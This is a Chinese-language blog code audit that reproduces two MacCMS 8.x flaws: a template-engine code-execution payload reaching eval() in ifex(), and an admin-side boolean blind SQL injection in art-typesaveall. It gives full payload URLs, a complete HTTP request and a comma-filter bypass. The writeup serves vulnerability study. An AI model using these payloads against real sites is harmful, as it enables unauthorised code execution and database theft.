文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox-Retired

HackTheBox-Active

VulnHub

代码审计

PHP代码审计

大数据安全

机器学习

基础学习

Python

Python基础

Python安全

Java

Java基础

Java安全

算法

Leetcode

随笔

经验

技术

 2020-01-15   1.8k

【代码审计】苹果cms8.x(复现)

审计过程

从index.php看起,首先就包含了两个文件:/inc/conn.php和/inc/common/360_safe3.php

/inc/conn.php包含了六个文件:

  • config.php是数据库db、ftp等等的配置信息;

  • cache.php是缓存文件;

  • class.php一共有三个类:AppDb、AppFtp和AppZip,都定义了各自的操作函数;

  • function.php都是一些功能函数;

  • template.php中有一个AppTpl类,并且新建了一个模板对象

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    <?php
    class AppTpl
    {
    var $markname,$markpar,$markdes,$markval,$markhtml;
    function AppTpl()
    {
    $this->P = array("vodtypeid"=>-1,"vodtypepid"=>-1,"vodtopicid"=>-1,"arttypeid"=>-1,"arttypepid"=>-1,"arttopicid"=>-1,"auto"=>false,"pg"=>1);
    }
    ......
    $tpl = new AppTpl();
    ?>

index.php包含的第二个文件/inc/common/360_safe3.php主要作用就是防止SQL注入和XSS:

回到index.php中,接下来的代码就是定义路由规则

第14行调用了be函数,对提交的参数$m进行addslashes函数处理:

再对提交的参数使用连接符-进行分割存到$par数组中,其中第一个元素是module,第二个元素是method,例如url:http://127.0.0.1/?m=vod-type-id-2.html表示的就是/inc/module/vod.php,并且method=type,$tpl->P['id']=2

代码执行

漏洞发生在/inc/common/template.php文件类方法ifex()中的eval语句:

首先给出paylaod:

1
http://127.0.0.1/index.php?m=vod-search&wd={if-A:phpinfo()}{endif-A}

根据之前的分析,找到/inc/common/vod.php文件的search处:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# /inc/module/vod.php
......
elseif($method=='search')
{
$tpl->P["siteaid"] = 15;
$wd = be("all", "wd");
if(!empty($wd)){ $tpl->P["wd"] = $wd; }
if ( $tpl->P['pg']==1 && getTimeSpan("last_searchtime") < $MAC['app']['searchtime']){
showMsg("请不要频繁操作,时间间隔为".$MAC['app']['searchtime']."秒",MAC_PATH);
exit;
}
if (!isN($tpl->P["wd"])) {
$tpl->P["key"]=$tpl->P["wd"] ;
$tpl->P["des"] = $tpl->P["des"] . "&nbsp;名称或主演为" . $tpl->P["wd"];
$tpl->P["where"] = $tpl->P["where"] . " AND ( instr(d_name,'".$tpl->P['wd']."')>0 or instr(d_starring,'".$tpl->P['wd']."')>0 ) ";
}
......
$tpl->H = loadFile(MAC_ROOT_TEMPLATE."/vod_search.html");
$tpl->mark();
$tpl->pageshow();

$colarr = array('{page:des}','{page:key}','{page:now}','{page:order}','{page:by}','{page:wd}','{page:wdencode}','{page:pinyin}','{page:letter}','{page:year}','{page:starring}','{page:starringencode}','{page:directed}','{page:directedencode}','{page:area}','{page:areaencode}','{page:lang}','{page:langencode}','{page:typeid}','{page:typepid}','{page:classid}');
$valarr = array($tpl->P["des"],$tpl->P["key"],$tpl->P["pg"],$tpl->P["order"],$tpl->P["by"],$tpl->P["wd"],urlencode($tpl->P["wd"]),$tpl->P["pinyin"],$tpl->P["letter"],$tpl->P['year']==0?'':$tpl->P['year'],$tpl->P["starring"],urlencode($tpl->P["starring"]),$tpl->P["directed"],urlencode($tpl->P["directed"]),$tpl->P["area"],urlencode($tpl->P["area"]),$tpl->P["lang"],urlencode($tpl->P["lang"]),$tpl->P['typeid'],$tpl->P['typepid'] ,$tpl->P['classid'] );

$tpl->H = str_replace($colarr, $valarr ,$tpl->H);
......

也就是说$tpl->P["wod"]='{if-A:phpinfo()}{endif-A}',而且$tpl->H等于"/template/paody/html/vod_search.html"的内容,$tpl->P["key"]等于$tpl->P["wod"]。接着$tpl->H的内容还做了替换,把{type:key}替换成{if-A:phpinfo()}{endif-A}'

继续看index.php页面,找到相应模块后,会调用template.php文件中的ifex()函数:

开头的$this->H/inc/module/vod.php文件中已经定义。$labelRule等于/{if-([\s\S]*?):([\s\S]+?)}([\s\S]*?){endif-\1}/is,然后在$this->H中用这个pattern匹配,结果是一个二维数组,存储在$iar中。而payload中的phpinfo()将存储在$iar[2]中。

后台SQL注入

上面我们已经提到过苹果CMS使用be函数来获取参数

其中arr情况没有过滤,因此可以寻找一个arr的点。在/admin/tpl/module/art.php文件中存在:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
elseif($method=='typesaveall')
{
$t_id = be('arr','t_id');
$ids = explode(',',$t_id);
foreach($ids as $id){
$t_name = be('post','t_name' .$id);
$t_enname = be('post','t_enname' .$id) ;
$t_sort = be('post','t_sort' .$id);
$t_tpl = be('post','t_tpl' .$id);
$t_tpl_art = be('post','t_tpl_art' .$id);

if (isN($t_name)) { $t_name='未知';}
if (isN($t_enname)) { $t_enname='weizhi';}
if (!isNum($t_sort)) { $t_sort=0;}
if (isN($t_tpl)) { $t_tpl = 'artlist.html';}
if (isN($t_tpl_art)) { $t_tpl_art = 'art.html';}

$db->Update ('{pre}art_type',array('t_name','t_enname', 't_sort','t_tpl','t_tpl_art'),array($t_name,$t_enname,$t_sort,$t_tpl,$t_tpl_art),'t_id='.$id);
}
updateCacheFile();
redirect( getReferer() );
}

$t_id参数使用了arr方法,并且代入了SQL语句中,但是POST存在如下过滤:

1
$postfilter="^\\+\/v(8|9)|\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|<\\s*img\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";

可以使用布尔盲注,另外不能使用逗号。substring方法的from…for…可以绕过逗号 的限制:SELECT SUBSTRING('Sakila' FROM -4 FOR 2);。payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /admin/index.php?m=art-typesaveall HTTP/1.1
Host: maccms:8888
Content-Length: 895
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://maccms:8888
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://maccms:8888/admin/index.php?m=art-type
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=adb86684e6ee83c4ff53caf12c86a13a; adminid=1; adminname=admin; adminlevels=b%2Cc%2Cd%2Ce%2Cf%2Cg%2Ch%2Ci%2Cj; admincheck=a2355a779d57666d1b72a1845c1f469c
Connection: close

t_id%5B%5D=1&t_sort1=1&t_name1=%E7%AB%99%E5%86%85%E6%96%B0%E9%97%BB&t_enname1=zhanneixinwen&t_tpl1=art_type.html&t_tpl_art1=art_detail.html&t_id%5B%5D=2&t_sort2=2&t_name2=%E5%A8%B1%E4%B9%90%E5%8A%A8%E6%80%81&t_enname2=yuledongtai&t_tpl2=art_type.html&t_tpl_art2=art_detail.html&t_id%5B%5D=3&t_sort3=3&t_name3=%E5%85%AB%E5%8D%A6%E7%88%86%E6%96%99&t_enname3=baguabaoliao&t_tpl3=art_type.html&t_tpl_art3=art_detail.html&t_id%5B%5D=4&t_sort4=4&t_name4=%E5%BD%B1%E7%89%87%E8%B5%84%E8%AE%AF&t_enname4=yingpianzixun&t_tpl4=art_type.html&t_tpl_art4=art_detail.html&t_id%5B%5D=5&t_sort5=5&t_name5=%E6%98%8E%E6%98%9F%E8%B5%84%E8%AE%AF&t_enname5=mingxingzixun&t_tpl5=art_type.html&t_tpl_art5=art_detail.html&t_id%5B%5D=7 or 1 = (select ord(substring(user() from 1 for 1))=114)-- 1&t_sort6=6&t_name6=%E7%94%B5%E8%A7%86%E8%B5%84%E8%AE%AF&t_enname6=dianshizixun&t_tpl6=art_type.html&t_tpl_art6=art_detail.html

此为正确查询,会把所有的条目都修改掉:

Reference

https://mochazz.github.io/2018/03/06/代码审计之苹果cms8.x代码执行(复现)/

Copyright © ca01h 2019-2021 | 本站总访问量